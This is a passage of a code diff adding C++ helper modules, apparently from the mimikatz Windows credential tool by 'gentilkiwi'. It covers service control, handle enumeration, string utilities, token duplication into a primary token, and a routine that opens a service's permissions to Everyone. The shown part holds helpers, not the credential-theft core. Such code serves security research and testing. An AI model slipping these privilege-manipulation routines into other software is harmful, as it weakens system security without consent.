ForEveryOne.grfAccessPermissions = SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL ;
ForEveryOne.Trustee.TrusteeForm = TRUSTEE_IS_SID;
ForEveryOne.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
ForEveryOne.Trustee.ptstrName = reinterpret_cast<LPTSTR>(pEveryoneSID);
PSECURITY_DESCRIPTOR newSd = NULL;
DWORD laTaille;
if(BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryOne, 0, NULL, oldSd, &laTaille, &newSd) == ERROR_SUCCESS)
{
reussite = SetServiceObjectSecurity(*monHandle, DACL_SECURITY_INFORMATION, newSd) != 0;
LocalFree(newSd);
}
FreeSid(pEveryoneSID);
}
}
delete [] oldSd;
}
return reussite;
}
bool mod_secacl::sidToStrSid(PSID Sid, wstring * strSid)
{
bool reussite = false;
wchar_t * szSid;
if(reussite = ConvertSidToStringSid(Sid, &szSid) != 0)
{
strSid->assign(szSid);
LocalFree(szSid);
}
return reussite;
}
bool mod_secacl::sidToName(PSID Sid, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage)
{
bool reussite = false;
DWORD dwSizeName = 0;
DWORD dwSizeDomain = 0;
SID_NAME_USE nameUse;
if(!LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, NULL, &dwSizeName, NULL, &dwSizeDomain, &nameUse) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER))
{
wchar_t * monNom = new wchar_t[dwSizeName];
wchar_t * monDomain = new wchar_t[dwSizeDomain];
if(reussite = (LookupAccountSid((systemName ? systemName->c_str() : NULL), Sid, monNom, &dwSizeName, monDomain, &dwSizeDomain, &nameUse)) != 0)
{
strName->assign(monNom);
if(domainName)
domainName->assign(monDomain);
if(usage)
*usage = nameUse;
}
delete[] monDomain;
delete[] monNom;
}
return reussite;
}
bool mod_secacl::simpleSidToString(PSID Sid, wstring * String)
{
wstring userName;
wstring domaineName;
String->clear();
if(Sid)
{
if(mod_secacl::sidToName(Sid, &userName, &domaineName))
{
String->assign(domaineName);
String->push_back(L'\\');
String->append(userName);
}
else
mod_secacl::sidToStrSid(Sid, String);
}
if(String->empty())
String->assign(L"(null)");
return true;
}
bool mod_secacl::tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName, wstring * systemName, SID_NAME_USE * usage)
{
bool reussite = false;
DWORD szNeeded = 0;
if(!GetTokenInformation(tokenHandle, TokenUser, NULL, 0, &szNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER))
{
BYTE * mesDonnees = new BYTE[szNeeded];
if(GetTokenInformation(tokenHandle, TokenUser, mesDonnees, szNeeded, &szNeeded))
{
TOKEN_USER * monUser = reinterpret_cast<TOKEN_USER *>(mesDonnees);
reussite = sidToName(monUser->User.Sid, strName, domainName, systemName, usage);
}
delete[] mesDonnees;
}
return reussite;
}
bool mod_secacl::exchangeDupToken(HANDLE * tokenHandle)
{
bool reussite = false;
HANDLE secToken;
if(reussite = DuplicateTokenEx(*tokenHandle, MAXIMUM_ALLOWED, NULL, /*SecurityImpersonation*/SecurityDelegation, /*TokenImpersonation*/ TokenPrimary, &secToken) != 0)
{
CloseHandle(*tokenHandle);
*tokenHandle = secToken;
}
return reussite;
}

View File

@ -0,0 +1,24 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include <aclapi.h>
#include <sddl.h>
using namespace std;
class mod_secacl
{
public:
static bool simpleSidToString(PSID Sid, wstring * String);
static bool sidToStrSid(PSID Sid, wstring * strSid);
static bool nullSdToHandle(PHANDLE monHandle, SE_OBJECT_TYPE monType = SE_KERNEL_OBJECT);
static bool sidToName(PSID Sid, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL);
static bool tokenUser(HANDLE tokenHandle, wstring * strName, wstring * domainName = NULL, wstring * systemName = NULL, SID_NAME_USE * usage = NULL);
static bool exchangeDupToken(HANDLE * tokenHandle);
static bool addWorldToMimikatz(SC_HANDLE * monHandle);
};

View File

@ -0,0 +1,142 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_service.h"
bool mod_service::getList(vector<KIWI_SERVICE_STATUS_PROCESS> * monVectorService, wstring * machineName) // machine non implémenté
{
bool reussite = false;
DWORD error = ERROR_SUCCESS;
if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE))
{
DWORD tailleRequise = 0;
DWORD nbServices = 0;
DWORD resumeHandle = 0;
if(!(EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, NULL, 0, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0) && GetLastError() == ERROR_MORE_DATA)
{
BYTE * servicesBuff = new BYTE[tailleRequise];
ENUM_SERVICE_STATUS_PROCESS * mesServ = reinterpret_cast<ENUM_SERVICE_STATUS_PROCESS *>(servicesBuff);
if(reussite = EnumServicesStatusEx(monManager, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER | SERVICE_WIN32, SERVICE_STATE_ALL, servicesBuff, tailleRequise, &tailleRequise, &nbServices, &resumeHandle, NULL) != 0)
{
for(DWORD i = 0; i < nbServices; i++)
{
KIWI_SERVICE_STATUS_PROCESS monService = {mesServ[i].lpServiceName, mesServ[i].lpDisplayName, mesServ[i].ServiceStatusProcess};
monVectorService->push_back(monService);
}
}
delete[] servicesBuff;
error = GetLastError();
}
CloseServiceHandle(monManager);
SetLastError(error);
}
return reussite;
}
bool mod_service::getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName) // machine non implémenté
{
bool reussite = false;
vector<KIWI_SERVICE_STATUS_PROCESS> * vectorServices = new vector<KIWI_SERVICE_STATUS_PROCESS>();
if(getList(vectorServices, machineName))
{
for(vector<KIWI_SERVICE_STATUS_PROCESS>::iterator monSvc = vectorServices->begin(); monSvc != vectorServices->end(); monSvc++)
{
if(reussite = (_wcsicmp(monSvc->serviceName.c_str(), serviceName->c_str()) == 0))
{
*monService = *monSvc;
break;
}
}
}
delete vectorServices;
return reussite;
}
bool mod_service::start(wstring * serviceName, wstring * machineName)
{
bool reussite = false;
DWORD error = ERROR_SUCCESS;
if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT))
{
if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), SERVICE_START))
{
if(!(reussite = StartService(monService, 0, NULL) != 0))
error = GetLastError();
CloseServiceHandle(monService);
}
else
error = GetLastError();
CloseServiceHandle(monManager);
SetLastError(error);
}
return reussite;
}
bool mod_service::remove(wstring * serviceName, wstring * machineName)
{
bool reussite = false;
DWORD error = ERROR_SUCCESS;
if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT))
{
if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), DELETE))
{
if(!(reussite = DeleteService(monService) != 0))
error = GetLastError();
CloseServiceHandle(monService);
}
else
error = GetLastError();
CloseServiceHandle(monManager);
SetLastError(error);
}
return reussite;
}
bool mod_service::genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName)
{
bool reussite = false;
DWORD error = ERROR_SUCCESS;
if(SC_HANDLE monManager = OpenSCManager(machineName ? machineName->c_str() : NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT))
{
if(SC_HANDLE monService = OpenService(monManager, serviceName->c_str(), dwDesiredAccess))
{
if(!(reussite = ControlService(monService, dwControl, ptrServiceStatus) != 0))
error = GetLastError();
CloseServiceHandle(monService);
}
else
error = GetLastError();
CloseServiceHandle(monManager);
SetLastError(error);
}
return reussite;
}
bool mod_service::stop(wstring * serviceName, wstring * machineName)
{
SERVICE_STATUS serviceStatus;
return(genericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, &serviceStatus, machineName));
}
bool mod_service::suspend(wstring * serviceName, wstring * machineName)
{
SERVICE_STATUS serviceStatus;
return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_PAUSE, &serviceStatus, machineName));
}
bool mod_service::resume(wstring * serviceName, wstring * machineName)
{
SERVICE_STATUS serviceStatus;
return(genericControl(serviceName, SERVICE_PAUSE_CONTINUE, SERVICE_CONTROL_CONTINUE, &serviceStatus, machineName));
}

View File

@ -0,0 +1,38 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_secacl.h"
class mod_service
{
private:
static bool genericControl(wstring * serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus, wstring * machineName = NULL);
public:
typedef struct _KIWI_SERVICE_STATUS_PROCESS
{
wstring serviceName;
wstring serviceDisplayName;
SERVICE_STATUS_PROCESS ServiceStatusProcess;
} KIWI_SERVICE_STATUS_PROCESS, *PKIWI_SERVICE_STATUS_PROCESS;
static bool getList(vector<KIWI_SERVICE_STATUS_PROCESS> * monVectorService, wstring * machineName = NULL);
static bool getUniqueForName(KIWI_SERVICE_STATUS_PROCESS * monService, wstring * serviceName, wstring * machineName = NULL);
static bool start(wstring * serviceName, wstring * machineName = NULL);
static bool suspend(wstring * serviceName, wstring * machineName = NULL);
static bool resume(wstring * serviceName, wstring * machineName = NULL);
static bool stop(wstring * serviceName, wstring * machineName = NULL);
static bool query(wstring * serviceName, wstring * machineName = NULL); // a voir ?
static bool add(wstring * binPath, vector<wstring> * arguments); // bla bla
static bool remove(wstring * serviceName, wstring * machineName = NULL);
static bool control(vector<wstring> * arguments);
};

View File

@ -0,0 +1,208 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_system.h"
OSVERSIONINFOEX mod_system::GLOB_Version;
wstring mod_system::getWinError(bool automatique, DWORD code)
{
bool reussite = false;
DWORD dwError = (automatique ? GetLastError() : code);
wostringstream resultat;
wchar_t * monBuffer = NULL;
resultat << L"(0x" << setw(sizeof(DWORD)*2) << setfill(wchar_t('0')) << hex << dwError << dec << L')';
if(!(reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK, NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast<wchar_t *>(&monBuffer), 0, NULL) != 0))
reussite = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_MAX_WIDTH_MASK | FORMAT_MESSAGE_FROM_HMODULE, GetModuleHandle(L"ntdll"), dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), reinterpret_cast<wchar_t *>(&monBuffer), 0, NULL) != 0;
if(reussite)
{
resultat << L' ' << monBuffer;
LocalFree(monBuffer);
}
else resultat << L" * Impossible d\'obtenir un message *";
return resultat.str();
}
bool mod_system::getUserName(wstring * monUserName)
{
bool reussite = false;
unsigned long tailleRequise = 0;
if(!GetUserNameEx(NameSamCompatible, NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA)
{
wchar_t * monBuffer = new wchar_t[tailleRequise];
if(reussite = (GetUserNameEx(NameSamCompatible, monBuffer, &tailleRequise) != 0))
{
monUserName->assign(monBuffer);
}
delete[] monBuffer;
}
return reussite;
}
bool mod_system::getComputerName(wstring * monComputerName)
{
bool reussite = false;
DWORD tailleRequise = 0;
if(!GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified , NULL, &tailleRequise) && GetLastError() == ERROR_MORE_DATA)
{
wchar_t * monBuffer = new wchar_t[tailleRequise];
if(reussite = (GetComputerNameEx(ComputerNamePhysicalDnsFullyQualified, monBuffer, &tailleRequise) != 0))
{
monComputerName->assign(monBuffer);
}
delete[] monBuffer;
}
return reussite;
}
bool mod_system::getVersion(OSVERSIONINFOEX * maVersion)
{
RtlZeroMemory(maVersion, sizeof(OSVERSIONINFOEX));
maVersion->dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
return (GetVersionEx(reinterpret_cast<LPOSVERSIONINFO>(maVersion)) != 0);
}
bool mod_system::getCurrentDirectory(wstring * monRepertoire)
{
bool reussite = false;
DWORD tailleRequise = GetCurrentDirectory(0, NULL);
wchar_t * monBuffer = new wchar_t[tailleRequise];
if(tailleRequise > 0 && GetCurrentDirectory(tailleRequise, monBuffer) == tailleRequise - 1)
{
monRepertoire->assign(monBuffer);
reussite = true;
}
delete monBuffer;
return reussite;
}
bool mod_system::getAbsolutePathOf(wstring &thisData, wstring *reponse)
{
bool reussite = false;
wchar_t monBuffer[MAX_PATH];
if(PathIsRelative(thisData.c_str()))
{
wstring monRep = L"";
if(reussite = getCurrentDirectory(&monRep))
{
PathCombine(monBuffer, monRep.c_str(), thisData.c_str());
reponse->assign(monBuffer);
}
}
else
{
if(reussite = (PathCanonicalize(monBuffer, thisData.c_str()) != 0))
{
reponse->assign(monBuffer);
}
}
return reussite;
}
bool mod_system::isFileExist(std::wstring &fichier, bool *resultat)
{
bool reussite = false;
HANDLE monFichier = CreateFile(fichier.c_str(), 0, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if(reussite = (monFichier && monFichier != INVALID_HANDLE_VALUE))
{
CloseHandle(monFichier);
*resultat = true;
}
else if(reussite = (GetLastError() == ERROR_FILE_NOT_FOUND))
{
*resultat = false;
}
return reussite;
}
bool mod_system::getSystemHandles(vector<SYSTEM_HANDLE> * mesHandles, DWORD * pid)
{
bool reussite = false;
if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast<PNT_QUERY_SYSTEM_INFORMATION>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation")))
{
DWORD size = 0x10000;
BYTE * monBuffer = new BYTE[size];
ULONG sizeReturn = 0;
NTSTATUS status;
while((status = NtQuerySystemInformation(SystemHandleInformation, monBuffer, size, &sizeReturn)) == STATUS_INFO_LENGTH_MISMATCH)
{
delete[] monBuffer;
size <<= 1;
monBuffer = new BYTE[size];
}
if(reussite = NT_SUCCESS(status))
{
PSYSTEM_HANDLE_INFORMATION mesInfos = reinterpret_cast<PSYSTEM_HANDLE_INFORMATION>(monBuffer);
for(DWORD i = 0; i < mesInfos->HandleCount; i++)
{
if(!pid || *pid == mesInfos->Handles[i].ProcessId)
mesHandles->push_back(mesInfos->Handles[i]);
}
}
delete[] monBuffer;
}
return reussite;
}
bool mod_system::getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo)
{
bool reussite = false;
if(PNT_QUERY_OBJECT NtQueryObject = reinterpret_cast<PNT_QUERY_OBJECT>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryObject")))
{
DWORD tailleRequise = 0;
if(NtQueryObject(monHandle, typeInfo, NULL, 0, &tailleRequise) == STATUS_INFO_LENGTH_MISMATCH)
{
*buffer = new BYTE[tailleRequise];
if(!(reussite = NT_SUCCESS(NtQueryObject(monHandle, typeInfo, *buffer, tailleRequise, &tailleRequise))))
{
delete[] buffer;
}
}
}
return reussite;
}
bool mod_system::getHandleType(HANDLE monHandle, wstring * strType)
{
bool reussite = false;
BYTE * monBuffer = NULL;
if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectTypeInformation))
{
POBJECT_TYPE_INFORMATION typeInfo = reinterpret_cast<POBJECT_TYPE_INFORMATION>(monBuffer);
strType->assign(typeInfo->Name.Buffer, typeInfo->Name.Length / sizeof(wchar_t));
delete[] monBuffer;
}
return reussite;
}
bool mod_system::getHandleName(HANDLE monHandle, wstring * strName)
{
bool reussite = false;
BYTE * monBuffer = NULL;
if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectNameInformation))
{
PUNICODE_STRING typeName = reinterpret_cast<PUNICODE_STRING>(monBuffer);
strName->assign(typeName->Buffer, typeName->Length / sizeof(wchar_t));
delete[] monBuffer;
}
return reussite;
}

View File

@ -0,0 +1,34 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_ntddk.h"
#include <security.h>
#include <shlwapi.h>
#include <sstream>
#include <iomanip>
class mod_system
{
private:
static bool getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo);
public:
static wstring getWinError(bool automatique = true, DWORD code = 0);
static bool getUserName(wstring * monUserName);
static bool getComputerName(wstring *monComputerName);
static bool getVersion(OSVERSIONINFOEX * maVersion);
static bool isFileExist(std::wstring &fichier, bool *resultat);
static bool getCurrentDirectory(wstring * monRepertoire);
static bool getAbsolutePathOf(wstring &thisData, wstring *reponse);
static bool getSystemHandles(vector<SYSTEM_HANDLE> * mesHandles, DWORD * pid = NULL); // type ??
static bool getHandleType(HANDLE monHandle, wstring * strType);
static bool getHandleName(HANDLE monHandle, wstring * strName);
static OSVERSIONINFOEX GLOB_Version;
};

View File

@ -0,0 +1,101 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_text.h"
PRTL_INIT_STRING mod_text::RtlInitString = reinterpret_cast<PRTL_INIT_STRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitString"));
PRTL_INIT_UNICODESTRING mod_text::RtlInitUnicodeString = reinterpret_cast<PRTL_INIT_UNICODESTRING>(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString"));
wstring mod_text::stringOfHex(const BYTE monTab[], DWORD maTaille, DWORD longueur)
{
wostringstream monStream;
for(DWORD j = 0; j < maTaille; j++)
{
monStream << setw(2) << setfill(wchar_t('0')) << hex << monTab[j];
if(longueur != 0)
{
monStream << L' ';
if ((j + 1) % longueur == 0)
monStream << endl;
}
}
return monStream.str();
}
wstring mod_text::stringOrHex(const BYTE monTab[], DWORD maTaille, DWORD longueur, bool ligne)
{
wstring result;
if(monTab && maTaille > 0)
{
int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS /*| IS_TEXT_UNICODE_NULL_BYTES*/;
if(IsTextUnicode(monTab, maTaille, &flags))
{
result.assign(reinterpret_cast<const wchar_t *>(monTab), maTaille / sizeof(wchar_t));
}
else
{
if(ligne)
result.assign(L"\n");
result.append(stringOfHex(monTab, maTaille, longueur));
}
}
else result.assign(L"<NULL>");
return result;
}
void mod_text::wstringHexToByte(wstring &maChaine, BYTE monTab[])
{
wstringstream z;
unsigned int temp;
for(size_t i = 0; i < maChaine.size() / 2; i++)
{
z.clear();
z << maChaine.substr(i * 2, 2); z >> hex >> temp;
monTab[i] = temp;
}
}
bool mod_text::wstr_ends_with(const wchar_t * str, const wchar_t * suffix)
{
if(str && suffix)
{
size_t str_len = wcslen(str), suffix_len = wcslen(suffix);
return wstr_ends_with(str, str_len, suffix, suffix_len);
}
return false;
}
bool mod_text::wstr_ends_with(const wchar_t * str, size_t str_len, const wchar_t * suffix, size_t suffix_len)
{
if(str && suffix && (suffix_len <= str_len))
return (_wcsnicmp(str + str_len - suffix_len, suffix, suffix_len) == 0);
return false;
}
wstring mod_text::stringOfSTRING(UNICODE_STRING maString)
{
return wstring(maString.Buffer, maString.Length / sizeof(wchar_t));
}
string mod_text::stringOfSTRING(STRING maString)
{
return string(maString.Buffer, maString.Length);
}
void mod_text::InitLsaStringToBuffer(LSA_UNICODE_STRING * LsaString, wstring &maDonnee, wchar_t monBuffer[])
{
RtlCopyMemory(monBuffer, maDonnee.c_str(), (maDonnee.size() + 1) * sizeof(wchar_t));
RtlInitUnicodeString(LsaString, monBuffer);
}
LUID mod_text::wstringsToLUID(wstring &highPart, wstring &lowPart)
{
LUID monLUID = {0, 0};
wstringstream z;
z << highPart; z >> monLUID.HighPart;
z.clear();
z << lowPart; z >> monLUID.LowPart;
return monLUID;
}

Some files were not shown because too many files have changed in this diff Show More